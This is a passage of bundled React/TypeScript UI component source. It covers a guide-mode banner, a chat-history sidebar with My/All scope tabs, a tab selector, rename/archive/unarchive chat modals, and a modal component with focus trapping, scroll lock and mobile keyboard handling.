nature of Guide mode.\n */\nexport function GuideModeBanner({\n  label = DEFAULT_LABEL,\n  tooltip = DEFAULT_TOOLTIP,\n  className,\n}: GuideModeBannerProps) {\n  return (\n    <div\n      className={cn(\n        'flex h-8 w-full shrink-0 items-center gap-[var(--spacing-system-xs)] bg-ods-accent px-[var(--spacing-system-m)] py-[var(--spacing-system-xsf)]',\n        className,\n      )}\n    >\n      <CompassIcon size={16} className=\"shrink-0 text-ods-text-on-accent\" />\n      <p className=\"flex-1 truncate text-h5 uppercase text-ods-text-on-accent\">\n        {label}\n      </p>\n      {tooltip != null && (\n        <TooltipProvider delayDuration={0}>\n          <Tooltip>\n            <TooltipTrigger asChild>\n              <button\n                type=\"button\"\n                aria-label=\"About Guide Mode\"\n                className=\"shrink-0 rounded-sm text-ods-text-on-accent focus:outline-none focus-visible:ring-2 focus-visible:ring-ods-text-on-accent\"\n              >\n                <QuestionCircleIcon size={16} />\n              </button>\n            </TooltipTrigger>\n            <TooltipContent\n              side=\"bottom\"\n              align=\"end\"\n              className=\"max-w-[280px] text-h6 normal-case\"\n            >\n              {tooltip}\n            </TooltipContent>\n          </Tooltip>\n        </TooltipProvider>\n      )}\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { Button } from '../ui/button'\nimport { TabSelector } from '../ui/tab-selector'\nimport { ChatsIcon } from '../icons-v2-generated/communication/chats-icon'\nimport { PlusCircleIcon } from '../icons-v2-generated/signs-and-symbols/plus-circle-icon'\nimport { AlertCircleIcon, Refresh01RightIcon } from '../icons-v2-generated'\nimport { MingoChatHistory, MingoChatHistorySkeleton } from './mingo-chat-history'\nimport { ChatListEmptyState } from './chat-list-empty-state'\nimport type { DialogItem } from './types/component.types'\n\n// =============================================================================\n// Types\n// =============================================================================\n\n/** Ownership scope of the rail's dialog list — the current user's chats only,\n *  or every admin's chats in the tenant. */\nexport type MingoHistoryScope = 'my' | 'all'\n\nexport interface MingoHistoryRailProps {\n  /** Dialogs to list, assumed already sorted newest-first by the host. */\n  dialogs: ReadonlyArray<DialogItem>\n  /** Currently-open dialog id (highlighted). */\n  activeDialogId?: string\n  /** Open a dialog. */\n  onSelectDialog?: (id: string) => void\n  /** Start a fresh chat — clears the open conversation so the chat block shows\n   *  the welcome. Rendered as the pinned \"Start New Chat\" button above the list,\n   *  in every state (including the no-chats empty state). */\n  onNewChat?: () => void\n  /** Request rename — enables the row \"Rename chat\" action. */\n  onRequestRename?: (dialog: DialogItem) => void\n  /** Request archive — enables the row \"Archive chat\" action. */\n  onRequestArchive?: (dialog: DialogItem) => void\n  /** Request a shareable link — enables the row \"Copy chat link\" action. */\n  onRequestCopyLink?: (dialog: DialogItem) => void\n  /** Ownership scope shown as a two-state \"My Chats / All Chats\" selector\n   *  between \"Start New Chat\" and the list. Rendered only when BOTH `scope`\n   *  and `onScopeChange` are provided; the host owns the state and refilters\n   *  the `dialogs` it passes in. */\n  scope?: MingoHistoryScope\n  /** Scope selector change handler — see `scope`. */\n  onScopeChange?: (scope: MingoHistoryScope) => void\n  /** Current server-side search term. Drives the list's \"No chats found\"\n   *  empty state; the search INPUT itself lives in the panel header now, not\n   *  in the rail body. */\n  searchQuery?: string\n  /** Whether more dialogs remain (cursor pagination). */\n  hasMore?: boolean\n  /** True while the next page is loading. */\n  isLoadingMore?: boolean\n  /** Fetch the next page. */\n  onLoadMore?: () => void\n  /** True while the FIRST page of dialogs is still loading. Renders a skeleton\n   *  so the rail doesn't flash the empty state before the list arrives. */\n  isLoadingHistory?: boolean\n  /** The dialog-list load FAILED with nothing cached — renders an error + retry\n   *  block instead of the empty state. */\n  loadError?: boolean\n  /** Retry handler for the `loadError` state. */\n  onRetry?: () => void\n  /** Appended to the root element. */\n  className?: string\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * MingoHistoryRail — the persistent \"Current Chats\" left column of the split\n * (wide) Mingo layout (Figma 113:60931 / 113:63630).\n *\n * The dialog history that the stacked layout renders inline in the Mingo empty\n * state is hoisted here into a fixed-width rail beside the chat block. On top\n * sits a pinned \"Start New Chat\" button (always shown when `onNewChat` is\n * given); below it the grouped Today / Yesterday / Older list\n * (`MingoChatHistory`). With no chats the list area collapses to a centred\n * empty state; loading / error states mirror the stacked empty state so the\n * two layouts stay consistent.\n */\nexport function MingoHistoryRail({\n  dialogs,\n  activeDialogId,\n  onSelectDialog,\n  onNewChat,\n  onRequestRename,\n  onRequestArchive,\n  onRequestCopyLink,\n  scope,\n  onScopeChange,\n  searchQuery,\n  hasMore = false,\n  isLoadingMore = false,\n  onLoadMore,\n  isLoadingHistory = false,\n  loadError = false,\n  onRetry,\n  className,\n}: MingoHistoryRailProps) {\n  const hasSearch = !!searchQuery?.trim()\n  // The list (vs. the empty state) shows whenever there are chats OR an active\n  // search is running — a no-match query must keep the search bar mounted\n  // rather than flash the \"No Current Chats\" state.\n  const hasList = dialogs.length > 0 || hasSearch\n\n  return (\n    <div\n      className={cn(\n        'flex flex-1 min-h-0 flex-col gap-[var(--spacing-system-m)] p-[var(--spacing-system-m)]',\n        className,\n      )}\n    >\n      {/* Pinned \"Start New Chat\" — always on top, in every state. It used to be\n          hidden in the wide rail while the user had no chats (the chat block's\n          composer being the empty-state entry), but that made the rail's primary\n          action vanish exactly when it's most needed, and shifted the layout the\n          moment the first chat appeared. */}\n      {onNewChat && (\n        <Button\n          variant=\"outline\"\n          fullWidth\n          leftIcon={<PlusCircleIcon size={20} />}\n          onClick={onNewChat}\n          className=\"shrink-0 justify-start\"\n        >\n          Start New Chat\n        </Button>\n      )}\n\n      {/* Two-state ownership scope — \"My Chats\" / \"All Chats\". Stays visible in\n          the empty state too: an empty \"My Chats\" list must still offer the\n          switch to \"All Chats\" (host filters, so the empty state can be\n          scope-induced). Hidden while the load failed — retry is the only\n          useful action there. */}\n      {scope && onScopeChange && !loadError ? (\n        <TabSelector\n          className=\"shrink-0\"\n          value={scope}\n          onValueChange={(value) => onScopeChange(value as MingoHistoryScope)}\n          items={[\n            { id: 'my', label: 'My Chats' },\n            { id: 'all', label: 'All Chats' },\n          ]}\n        />\n      ) : null}\n\n      {loadError ? (\n        <div className=\"flex flex-1 min-h-0 flex-col items-center justify-center gap-[var(--spacing-system-m)] text-center\">\n          <AlertCircleIcon className=\"h-8 w-8 text-ods-text-secondary shrink-0\" />\n          <div className=\"flex flex-col gap-[var(--spacing-system-xxs)]\">\n            <p className=\"text-h4 text-ods-text-primary\">Couldn’t load your chats</p>\n            <p className=\"text-h6 text-ods-text-secondary\">\n              Something went wrong reaching the server. Try again.\n            </p>\n          </div>\n          {onRetry && (\n            <Button\n              variant=\"outline\"\n              size=\"small\"\n              leftIcon={<Refresh01RightIcon />}\n              onClick={onRetry}\n            >\n              Try again\n            </Button>\n          )}\n        </div>\n      ) : isLoadingHistory ? (\n        <MingoChatHistorySkeleton />\n      ) : hasList ? (\n        <MingoChatHistory\n          dialogs={dialogs}\n          activeDialogId={activeDialogId}\n          onSelectDialog={onSelectDialog}\n          onRequestRename={onRequestRename}\n          onRequestArchive={onRequestArchive}\n          onRequestCopyLink={onRequestCopyLink}\n          searchQuery={searchQuery}\n          hasMore={hasMore}\n          isLoadingMore={isLoadingMore}\n          onLoadMore={onLoadMore}\n        />\n      ) : (\n        // Figma 113:60939 — no-chats empty state.\n        <ChatListEmptyState\n          icon={<ChatsIcon size={24} />}\n          title=\"No Current Chats\"\n          description=\"Previous Mingo sessions will show here\"\n        />\n      )}\n    </div>\n  )\n}\n","'use client'\n\nimport React from 'react'\nimport { Label } from './label'\nimport { cn } from '../../utils/cn'\n\nexport interface TabSelectorItem {\n  /** Unique identifier for the tab */\n  id: string\n  /** Display label. Optional — omit for icon-only tabs (provide `ariaLabel` for accessibility). */\n  label?: string\n  /** Accessible name. Required when `label` is omitted. */\n  ariaLabel?: string\n  /** Optional icon (ReactNode) displayed before the label */\n  icon?: React.ReactNode\n  /** Whether this tab is disabled */\n  disabled?: boolean\n  /** Optional badge element displayed after the label */\n  badge?: React.ReactNode\n}\n\nexport interface TabSelectorProps {\n  /** Currently selected tab id */\n  value: string\n  /** Callback when tab selection changes */\n  onValueChange: (value: string) => void\n  /** Tab items to display */\n  items: TabSelectorItem[]\n  /** Visual variant: primary (accent bg) or secondary (soft grey bg) */\n  variant?: 'primary' | 'secondary'\n  /** Optional label displayed above the selector */\n  label?: string\n  /** Disable the entire selector (overrides per-item enabled state) */\n  disabled?: boolean\n  /**\n   * Horizontal-scroll mode for unbounded/dynamic tab sets (e.g. data-derived\n   * purposes). The default layout divides the row width equally (`flex-1`\n   * items in a `w-full` row). Use `scrollable` when labels may exceed the\n   * available width; it sizes tabs to their labels (`flex-none`) and lets\n   * the row scroll (`overflow-x-auto`).\n   */\n  scrollable?: boolean\n  /** Additional CSS classes for the root container */\n  className?: string\n}\n\nexport function TabSelector({\n  value,\n  onValueChange,\n  items,\n  variant = 'primary',\n  label,\n  disabled,\n  scrollable = false,\n  className,\n}: TabSelectorProps) {\n  return (\n    <div\n      className={cn('flex flex-col gap-[var(--spacing-system-xxs)]', disabled && 'opacity-50', className)}\n      aria-disabled={disabled || undefined}\n    >\n      {label && (\n        // Label for family/color; \"large\" (text-h4) is this component's\n        // long-standing label scale — neighbours opt into the same scale via\n        // their `labelVariant=\"large\"` when a design puts them side by side.\n        <Label variant=\"large\">\n          {label}\n        </Label>\n      )}\n      <div\n        className={cn(\n          'flex bg-ods-bg border border-ods-border rounded-md p-[var(--spacing-system-xxs)] gap-[var(--spacing-system-xxs)] h-11 md:h-12',\n          scrollable ? 'overflow-x-auto' : 'w-full',\n        )}\n      >\n        {items.map((item) => {\n          const isActive = value === item.id\n          const isDisabled = disabled || item.disabled\n\n          return (\n            <button\n              key={item.id}\n              type=\"button\"\n              disabled={isDisabled}\n              onClick={() => onValueChange(item.id)}\n              aria-label={!item.label ? item.ariaLabel : undefined}\n              className={cn(\n                // Bold on BOTH states (text-h3 = DM Sans bold) — a medium↔bold\n                // flip between the active and inactive tabs read as inconsistent\n                // weight (and nudged label widths on every switch).\n                'flex items-center justify-center gap-[var(--spacing-system-xs)] rounded-xs p-[var(--spacing-system-xsf)] text-h4 transition-colors duration-200 whitespace-nowrap',\n                // scrollable: intrinsic widths must sum past the container or\n                // nothing ever overflows (flex-1's basis-0 defeats the scroll).\n                scrollable ? 'flex-none basis-auto shrink-0' : 'flex-1',\n                isDisabled\n                  ? isActive\n                    ? 'cursor-not-allowed bg-ods-bg-surface text-ods-text-secondary'\n                    : 'cursor-not-allowed bg-transparent text-ods-text-secondary'\n                  : isActive\n                    ? variant === 'primary'\n                      ? 'bg-ods-accent text-ods-text-on-accent cursor-default'\n                      : 'bg-ods-bg-surface text-ods-text-primary cursor-default'\n                    : 'bg-transparent text-ods-text-primary hover:bg-ods-bg-hover cursor-pointer',\n              )}\n            >\n              {item.icon && (\n                <span className=\"shrink-0 size-4 md:size-6 flex items-center justify-center\">\n                  {item.icon}\n                </span>\n              )}\n              {item.label}\n              {item.badge && item.badge}\n            </button>\n          )\n        })}\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport {\n  ModalV2,\n  ModalV2Header,\n  ModalV2Title,\n  ModalV2Footer,\n} from '../ui/modal-v2'\nimport type { DialogItem } from './types/component.types'\n\n// Shared button styling for the modal footers (Figma `button-full`):\n// full-width, `text-h3` (DM Sans Bold 18px), 12/16 padding, rounded-md.\nconst footerBtn =\n  'flex-1 min-w-0 rounded-md px-[var(--spacing-system-m)] py-[var(--spacing-system-sf)] text-h3 transition-colors focus:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent disabled:opacity-50 disabled:cursor-not-allowed'\nconst cancelBtn = cn(\n  footerBtn,\n  'border border-ods-border bg-transparent text-ods-text-primary hover:bg-ods-bg-hover',\n)\nconst saveBtn = cn(\n  footerBtn,\n  'bg-ods-accent text-ods-text-on-accent hover:bg-ods-accent-hover',\n)\nconst dangerBtn = cn(\n  footerBtn,\n  'bg-ods-error text-ods-text-on-accent hover:opacity-90',\n)\n\n// =============================================================================\n// Rename\n// =============================================================================\n\nexport interface RenameChatModalProps {\n  isOpen: boolean\n  /** Current chat name, used to seed the input each time the modal opens. */\n  initialName?: string\n  onClose: () => void\n  /** Fired with the trimmed new name when Save is pressed. */\n  onSave: (name: string) => void\n}\n\n/** Rename Chat modal — Figma node `7592:225962`. */\nexport function RenameChatModal({\n  isOpen,\n  initialName = '',\n  onClose,\n  onSave,\n}: RenameChatModalProps) {\n  const [name, setName] = React.useState(initialName)\n  // Reseed whenever the modal (re)opens — possibly for a different chat.\n  React.useEffect(() => {\n    if (isOpen) setName(initialName)\n  }, [isOpen, initialName])\n\n  const canSave = name.trim().length > 0\n  const save = () => {\n    if (canSave) onSave(name.trim())\n  }\n\n  return (\n    <ModalV2 isOpen={isOpen} onClose={onClose} className=\"md:max-w-[600px]\">\n      <ModalV2Header>\n        <ModalV2Title>Rename Chat</ModalV2Title>\n      </ModalV2Header>\n      <div className=\"flex w-full flex-col gap-[var(--spacing-system-xxs)]\">\n        <label htmlFor=\"rename-chat-input\" className=\"text-h4 text-ods-text-primary\">\n          Chat Name\n        </label>\n        <input\n          id=\"rename-chat-input\"\n          autoFocus\n          value={name}\n          onChange={(e) => setName(e.target.value)}\n          onKeyDown={(e) => {\n            if (e.key === 'Enter') save()\n          }}\n          className=\"w-full rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-sf)] text-h4 text-ods-text-primary focus:outline-none focus-visible:border-ods-accent\"\n        />\n      </div>\n      <ModalV2Footer>\n        <button type=\"button\" onClick={onClose} className={cancelBtn}>\n          Cancel\n        </button>\n        <button type=\"button\" onClick={save} disabled={!canSave} className={saveBtn}>\n          Save\n        </button>\n      </ModalV2Footer>\n    </ModalV2>\n  )\n}\n\n// =============================================================================\n// Archive\n// =============================================================================\n\nexport interface ArchiveChatModalProps {\n  isOpen: boolean\n  onClose: () => void\n  /** Fired when the destructive \"Archive Chat\" button is pressed. */\n  onConfirm: () => void\n}\n\n/** Archive Chat confirmation modal — Figma node `7592:226181`. */\nexport function ArchiveChatModal({\n  isOpen,\n  onClose,\n  onConfirm,\n}: ArchiveChatModalProps) {\n  return (\n    <ModalV2 isOpen={isOpen} onClose={onClose} className=\"md:max-w-[600px]\">\n      <ModalV2Header>\n        <ModalV2Title>Archive Chat</ModalV2Title>\n      </ModalV2Header>\n      <p className=\"w-full text-h4 text-ods-text-primary\">\n        This chat will be hidden from your current chats.\n      </p>\n      <ModalV2Footer>\n        <button type=\"button\" onClick={onClose} className={cancelBtn}>\n          Cancel\n        </button>\n        <button type=\"button\" onClick={onConfirm} className={dangerBtn}>\n          Archive Chat\n        </button>\n      </ModalV2Footer>\n    </ModalV2>\n  )\n}\n\n// =============================================================================\n// Unarchive\n// =============================================================================\n\nexport interface UnarchiveChatModalProps {\n  isOpen: boolean\n  onClose: () => void\n  /** Fired when the \"Unarchive Chat\" button is pressed. */\n  onConfirm: () => void\n}\n\n/** Unarchive (restore) Chat confirmation modal — restores an archived chat\n *  back to the current chats so the user can continue it. */\nexport function UnarchiveChatModal({\n  isOpen,\n  onClose,\n  onConfirm,\n}: UnarchiveChatModalProps) {\n  return (\n    <ModalV2 isOpen={isOpen} onClose={onClose} className=\"md:max-w-[600px]\">\n      <ModalV2Header>\n        <ModalV2Title>Unarchive Chat</ModalV2Title>\n      </ModalV2Header>\n      <p className=\"w-full text-h4 text-ods-text-primary\">\n        This chat will be moved back to your current chats.\n      </p>\n      <ModalV2Footer>\n        <button type=\"button\" onClick={onClose} className={cancelBtn}>\n          Cancel\n        </button>\n        <button type=\"button\" onClick={onConfirm} className={saveBtn}>\n          Unarchive Chat\n        </button>\n      </ModalV2Footer>\n    </ModalV2>\n  )\n}\n\n// =============================================================================\n// Composite — all three dialog-action modals\n// =============================================================================\n\nexport interface ChatDialogModalsProps {\n  /** Dialog pending rename (`null` = closed). */\n  renameTarget: DialogItem | null\n  setRenameTarget: (dialog: DialogItem | null) => void\n  onConfirmRename: (name: string) => void\n  /** Dialog pending archive (`null` = closed). */\n  archiveTarget: DialogItem | null\n  setArchiveTarget: (dialog: DialogItem | null) => void\n  onConfirmArchive: () => void\n  /** Dialog pending restore/unarchive (`null` = closed). */\n  restoreTarget: DialogItem | null\n  setRestoreTarget: (dialog: DialogItem | null) => void\n  onConfirmRestore: () => void\n}\n\n/**\n * Renders the Rename / Archive / Unarchive modals together, each driven by its\n * target dialog. Pair with `useChatDialogManager`, which produces exactly this\n * prop shape.\n */\nexport function ChatDialogModals({\n  renameTarget,\n  setRenameTarget,\n  onConfirmRename,\n  archiveTarget,\n  setArchiveTarget,\n  onConfirmArchive,\n  restoreTarget,\n  setRestoreTarget,\n  onConfirmRestore,\n}: ChatDialogModalsProps) {\n  return (\n    <>\n      <RenameChatModal\n        isOpen={renameTarget != null}\n        initialName={renameTarget?.title ?? ''}\n        onClose={() => setRenameTarget(null)}\n        onSave={onConfirmRename}\n      />\n      <ArchiveChatModal\n        isOpen={archiveTarget != null}\n        onClose={() => setArchiveTarget(null)}\n        onConfirm={onConfirmArchive}\n      />\n      <UnarchiveChatModal\n        isOpen={restoreTarget != null}\n        onClose={() => setRestoreTarget(null)}\n        onConfirm={onConfirmRestore}\n      />\n    </>\n  )\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport { useEffect, useState } from \"react\"\nimport { RemoveScroll } from \"react-remove-scroll\"\nimport { XmarkIcon } from \"../icons-v2-generated\"\nimport { cn } from \"../../utils/cn\"\n\n// Duration of the open/close animation in ms — keep in sync with the\n// `duration-200` utilities applied to the backdrop and panel below.\nconst ANIMATION_DURATION = 200\n\nconst ModalContext = React.createContext<{ onClose?: () => void }>({})\n\n/**\n * Panel width, as a named variant rather than a per-call-site `max-w-*`.\n * `medium` is the single-column form width; `wide` is the two-column editor\n * width and pairs with `ModalV2TwoColumn`.\n *\n * Every arm keeps the `calc(100vw-2rem)` arm so content can never stretch the\n * panel past the viewport (minus the `mx-4` margins) on narrow screens.\n */\nexport type ModalV2Size = \"default\" | \"medium\" | \"wide\"\n\nconst MODAL_V2_SIZE_CLASSES: Record<ModalV2Size, string> = {\n  default: \"max-w-[min(28rem,calc(100vw-2rem))]\",\n  medium: \"max-w-[min(42rem,calc(100vw-2rem))]\",\n  wide: \"max-w-[min(1400px,calc(100vw-2rem))]\",\n}\n\ninterface ModalProps {\n  isOpen: boolean\n  onClose: () => void\n  children: React.ReactNode\n  className?: string\n  size?: ModalV2Size\n}\n\ninterface ModalContentProps {\n  children: React.ReactNode\n  className?: string\n}\n\ninterface ModalHeaderProps {\n  children: React.ReactNode\n  className?: string\n}\n\ninterface ModalTitleProps {\n  children: React.ReactNode\n  className?: string\n}\n\ninterface ModalFooterProps {\n  children: React.ReactNode\n  className?: string\n}\n\ninterface ModalTwoColumnProps {\n  left: React.ReactNode\n  right: React.ReactNode\n  className?: string\n}\n\n// Topmost-modal stack: with stacked modals (confirm above a form) only the\n// TOP one may contain focus, or they fight each other.\nconst modalStack: symbol[] = []\n\n// Radix popups (Select/DropdownMenu/Popover content) PORTAL to <body>, so a\n// dropdown opened from inside the modal focuses nodes OUTSIDE the panel.\n// Focus landing there is NOT an escape — yanking it back (containFocus /\n// reasserts / Tab trap) fights Radix's own item-focus management and strands\n// stale `data-highlighted` on items it never got to blur-clean (observed:\n// two or three select options painted \"hovered\" simultaneously). Popper-based\n// layers carry `data-radix-popper-content-wrapper`; the default item-aligned\n// Select content doesn't, hence the role fallbacks.\nconst isInPortaledLayer = (node: Node | null): boolean =>\n  node instanceof Element &&\n  node.closest(\n    '[data-radix-popper-content-wrapper], [role=\"listbox\"], [role=\"menu\"]',\n  ) !== null\n\nconst Modal = React.forwardRef<HTMLDivElement, ModalProps>(\n  ({ isOpen, onClose, children, className, size = \"default\" }, ref) => {\n    // Keep the modal mounted while the exit animation plays.\n    const [isMounted, setIsMounted] = useState(isOpen)\n    const panelRef = React.useRef<HTMLDivElement | null>(null)\n    const restoreFocusRef = React.useRef<HTMLElement | null>(null)\n    const stackIdRef = React.useRef<symbol>(Symbol('modal'))\n\n    // FOCUS MANAGEMENT — the dialog contract every ModalV2 consumer was\n    // missing: focus moves INTO the dialog on open (a modal opened from a\n    // Radix dropdown otherwise loses the focus race to the menu's\n    // close-restore and focus stays on the page), Tab cycles inside it, and\n    // focus returns to the opener on close.\n    useEffect(() => {\n      if (!isOpen) return\n      const stackId = stackIdRef.current\n      modalStack.push(stackId)\n      restoreFocusRef.current = document.activeElement as HTMLElement | null\n      const raf = requestAnimationFrame(() => {\n        const panel = panelRef.current\n        if (!panel) return\n        // If a consumer already moved focus inside (e.g. a form autofocusing\n        // its first field), leave it alone.\n        if (panel.contains(document.activeElement)) return\n        panel.focus()\n      })\n      // CONTAINMENT, not a one-shot: whatever tears down after the dialog\n      // opens (a Radix menu restoring/abandoning focus frames later, a\n      // removed node dropping focus to body) — if focus leaves the topmost\n      // dialog, pull it back. This is what actually wins the multi-frame\n      // focus races a single autofocus cannot.\n      const containFocus = (event: FocusEvent) => {\n        if (modalStack[modalStack.length - 1] !== stackId) return\n        const panel = panelRef.current\n        if (!panel) return\n        const target = event.target as Node | null\n        if (target && (panel.contains(target) || isInPortaledLayer(target))) return\n        panel.focus()\n      }\n      document.addEventListener('focusin', containFocus)\n      // Focus dropped to <body> by NODE REMOVAL (a closing menu unmounting the\n      // focused item) dispatches NO focusin — bounded re-asserts cover it.\n      const reasserts = [80, 240, 500].map(ms =>\n        setTimeout(() => {\n          if (modalStack[modalStack.length - 1] !== stackId) return\n          const panel = panelRef.current\n          if (!panel) return\n          if (\n            !panel.contains(document.activeElement) &&\n            !isInPortaledLayer(document.activeElement)\n          )\n            panel.focus()\n        }, ms),\n      )\n      return () => {\n        cancelAnimationFrame(raf)\n        reasserts.forEach(clearTimeout)\n        document.removeEventListener('focusin', containFocus)\n        const idx = modalStack.lastIndexOf(stackId)\n        if (idx !== -1) modalStack.splice(idx, 1)\n        restoreFocusRef.current?.focus?.()\n      }\n    }, [isOpen])\n\n    // Tab trap: cycle within the panel's focusables.\n    useEffect(() => {\n      if (!isOpen) return\n      const handleTab = (event: KeyboardEvent) => {\n        if (event.key !== 'Tab') return\n        const panel = panelRef.current\n        if (!panel) return\n        // Focus inside a portaled Radix layer (open Select/menu): Tab is that\n        // layer's affair — trapping it back into the panel closes nothing and\n        // steals focus mid-interaction.\n        if (isInPortaledLayer(document.activeElement)) return\n        const focusables = Array.from(\n          panel.querySelectorAll<HTMLElement>(\n            'a[href], button:not([disabled]), input:not([disabled]):not([type=\"hidden\"]), textarea:not([disabled]), select:not([disabled]), [tabindex]:not([tabindex=\"-1\"])',\n          ),\n        ).filter(el => el.getAttribute('aria-hidden') !== 'true' && el.offsetParent !== null)\n        if (focusables.length === 0) return\n        const first = focusables[0]\n        const last = focusables[focusables.length - 1]\n        const active = document.activeElement\n        if (event.shiftKey) {\n          if (active === first || !panel.contains(active)) {\n            event.preventDefault()\n            last.focus()\n          }\n        } else if (active === last || !panel.contains(active)) {\n          event.preventDefault()\n          first.focus()\n        }\n      }\n      document.addEventListener('keydown', handleTab)\n      return () => document.removeEventListener('keydown', handleTab)\n    }, [isOpen])\n\n    useEffect(() => {\n      if (isOpen) {\n        setIsMounted(true)\n        return\n      }\n      const timeout = setTimeout(() => setIsMounted(false), ANIMATION_DURATION)\n      return () => clearTimeout(timeout)\n    }, [isOpen])\n\n    // Scroll lock via the SAME library Radix primitives use internally\n    // (react-remove-scroll is ref-counted and composes with itself). The\n    // previous react-aria lock FOUGHT the lock a Radix Select opened inside\n    // the modal added on top — body jumped and the page behind went black\n    // while the select was open.\n\n    // Escape key (document-level: top-of-stack semantics for modals)\n    useEffect(() => {\n      const handleKeyDown = (event: KeyboardEvent) => {\n        // A nested Radix layer (Select, DropdownMenu) preventDefaults the\n        // Escape it consumes — without this check, closing a select inside\n        // the modal closed the WHOLE modal. The stack check keeps Escape a\n        // topmost-only affair: every open modal registers this listener, so\n        // with stacked modals (confirm above a form) one Escape would\n        // otherwise close BOTH.\n        if (\n          event.key === 'Escape' &&\n          !event.defaultPrevented &&\n          modalStack[modalStack.length - 1] === stackIdRef.current\n        ) {\n          onClose()\n        }\n      }\n\n      if (isOpen) {\n        document.addEventListener('keydown', handleKeyDown)\n        return () => document.removeEventListener('keydown', handleKeyDown)\n      }\n    }, [isOpen, onClose])\n\n    if (!isMounted) return null\n\n    const state = isOpen ? \"open\" : \"closed\"\n\n    return (\n      // `forwardProps` — RemoveScroll's default is to WRAP its children in a\n      // plain <div>. That wrapper is in normal flow, so a modal rendered inside\n      // a `flex`/`grid` container with a `gap` became an extra (zero-height)\n      // track the moment it opened, shifting every sibling below it down by one\n      // gap. Cloning onto the child instead leaves only the `fixed` overlay,\n      // which is out of flow and therefore not a flex/grid item at all.\n      // The child must stay a single element for `Children.only`.\n      <RemoveScroll enabled={isOpen} removeScrollBar={false} forwardProps>\n      {/* SOFTWARE KEYBOARD — padding, not a shrunken box. Neither mobile shell\n          shrinks the LAYOUT viewport when the keyboard opens (WKWebView keeps\n          its frame; Android's window is edge-to-edge so the IME arrives as a\n          WindowInsets type), so `inset-0` and every vh/% height keep reporting\n          the full screen and this bottom-anchored panel opened entirely BEHIND\n          the keyboard. Padding leaves the backdrop full-screen while the flex\n          CONTENT box — which is what `items-end` anchors to and what the\n          panel's percentage max-height resolves against — stops above it.\n          `--of-keyboard-inset` is published by the app (keyboard-inset.ts);\n          unset everywhere else, hence the 0px fallback. The 200ms below is\n          mirrored there as INSET_TRANSITION_MS — it delays the app's\n          scroll-the-focused-field re-assert until this transition settles. */}\n      <div\n        className=\"fixed inset-0 z-[1300] flex items-end md:items-center justify-center transition-[padding] duration-200\"\n        style={{ paddingBottom: 'var(--of-keyboard-inset, 0px)' }}\n      >\n        <div\n          data-state={state}\n          className={cn(\n            \"absolute inset-0 bg-ods-overlay backdrop-blur-[2px] md:backdrop-blur-none\",\n            \"duration-200 fill-mode-forwards\",\n            \"data-[state=open]:animate-in data-[state=open]:fade-in-0\",\n            \"data-[state=closed]:animate-out data-[state=closed]:fade-out-0\",\n            // Hold the hidden end-state until unmount so the backdrop doesn't\n            // flash back to full opacity when the animation finishes a frame\n            // before the unmount timeout fires.\n            \"data-[state=closed]:fill-mode-forwards\"\n          )}\n          onClick={onClose}\n          aria-hidden=\"true\"\n        />\n        <div\n          ref={(node) => {\n            panelRef.current = node\n            if (typeof ref === 'function') ref(node)\n            else if (ref) (ref as React.MutableRefObject<HTMLDivElement | null>).current = node\n          }}\n          tabIndex={-1}\n          data-state={state}\n          className={cn(\n            // A single base utility per size (not md:max-w-*) so consumer\n            // max-w-* overrides via className still win at every breakpoint.\n            \"relative z-10 w-full min-w-0 flex flex-col\",\n            // The panel is a focus TARGET (tabIndex -1), not a control: focus\n            // moves here on open so the dialog owns the keyboard, and the UA\n            // then paints its default ring around the whole modal. Opening by\n            // click hides it via :focus-visible heuristics, but a modal opened\n            // from a URL on page load has no preceding pointer event, so the\n            // ring showed on every refresh. Fields inside keep their own rings.\n            \"outline-none\",\n            MODAL_V2_SIZE_CLASSES[size],\n            \"mx-4 mb-4 md:mb-0\",\n            // dvh, not vh: vh ignores a mobile browser's retracting URL bar, so\n            // 90vh already overflowed behind Safari's toolbar. The `100%-2rem`\n            // arm resolves against the keyboard-padded wrapper above and caps\n            // the panel to what's left of it, less the 1rem `mb-4` and a\n            // matching 1rem of breathing room at the top — header and footer\n            // stay pinned, ModalV2Content scrolls. min() picks 90dvh on any\n            // viewport over 320px tall, so desktop is untouched.\n            \"max-h-[min(90dvh,100%-2rem)]\",\n            // `wide` also FIXES the desktop height rather than only capping it:\n            // its columns scroll independently, and a height that tracks\n            // content makes the panel jump as an entity hydrates in. Mobile\n            // keeps the bottom-sheet's content-sized height.\n            size === \"wide\" && \"md:h-[min(90dvh,100%-2rem)]\",\n            \"bg-ods-bg md:bg-ods-card\",\n            \"border border-ods-border rounded-md shadow-xl\",\n            \"p-[var(--spacing-system-xl)] gap-[var(--spacing-system-l)]\",\n            \"duration-200 fill-mode-forwards\",\n            \"data-[state=open]:animate-in data-[state=open]:fade-in-0\",\n            \"data-[state=open]:slide-in-from-bottom-4 md:data-[state=open]:slide-in-from-bottom-0 md:data-[state=open]:zoom-in-95\",\n            \"data-[state=closed]:animate-out data-[state=closed]:fade-out-0\",\n            \"data-[state=closed]:slide-out-to-bottom-4 md:data-[state=closed]:slide-out-to-bottom-0 md:data-[state=closed]:zoom-out-95\",\n            // Hold the hidden end-state until unmount so the panel doesn't snap\n            // back to opacity/scale 1 for a frame before it unmounts.\n            \"data-[state=closed]:fill-mode-forwards\",\n            className\n          )}\n          role=\"dialog\"\n          aria-modal=\"true\"\n        >\n          <ModalContext.Provider value={{ onClose }}>\n            {children}\n          </ModalContext.Provider>\n        </div>\n      </div>\n      </RemoveScroll>\n    )\n  }\n)\nModal.displayName = \"ModalV2\"\n\nconst ModalContent = React.forwardRef<HTMLDivElement, ModalContentProps>(\n  ({ children, className }, ref) => (\n    <div ref={ref} className={cn(\"flex-1 min-h-0 overflow-y-auto\", className)}>\n      {children}\n    </div>\n  )\n)\nModalContent.displayName = \"ModalV2Content\"\n\n/**\n * The two-column editor body. Use INSTEAD OF `ModalV2Content` (not inside it)\n * on a `size=\"wide\"` modal — it owns the same `flex-1 min-h-0` slot.\n *\n * Scroll model, which is the whole reason this is a component and not a pair\n * of copy-pasted class strings: below `lg` there is ONE column and the outer\n * region scrolls, so a phone behaves exactly like every single-column modal.\n * From `lg` up the outer region is `overflow-hidden` and each column scrolls\n * independently, so a 